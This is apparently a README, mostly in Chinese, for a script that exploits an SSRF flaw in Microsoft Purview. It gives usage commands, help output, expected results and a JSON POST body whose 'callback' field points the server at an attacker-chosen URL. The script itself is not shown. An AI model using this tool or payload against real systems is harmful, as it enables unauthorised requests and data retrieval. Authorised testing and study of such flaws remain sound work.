
The SSRF vulnerability in Microsoft Purview
这个仓库包含一个用于执行SSRF(服务端请求伪造)漏洞利用的脚本,仅供测试和教育用途。请负责任地使用此工具,仅在获得明确授权的情况下使用。
bash(Unix shell)jq(JSON处理器)curl(HTTP请求命令行工具)./script.sh --exploit <target_url> <purview_url>
| 选项 | 描述 |
|---|---|
-h, --help | 显示帮助菜单。 |
--exploit tu pu | 使用目标URL和purview URL执行SSRF漏洞利用。 |
./script.sh -h
输出:
Usage:
./script.sh --exploit <target_url> <purview_url>
Options:
-h, --help - Show this help menu
--exploit <tu> <pu> - Perform the SSRF exploit with target and purview URLs
./script.sh --exploit http://example.com http://purview-url.com
预期输出:
SSRF exploit successful! Data retrieved:
<response data>
SSRF exploit failed! HTTP code: <code>
purview_url发送包含JSON负载的HTTP POST请求,尝试利用SSRF漏洞。./script.sh --exploit http://callback-url.com http://vulnerable-purview-url.com
{
"callback": "http://callback-url.com"
}
保存HTTP响应码和响应体,根据状态码判断漏洞利用成功或失败。
此脚本仅供测试用途。滥用此脚本可能导致严重的法律后果。请确保遵守所有适用法律和道德标准。
欢迎通过创建拉取请求或报告问题来贡献。
本工具仅供教育目的和授权渗透测试使用。 作者不对因误用或使用此工具造成的任何损害负责。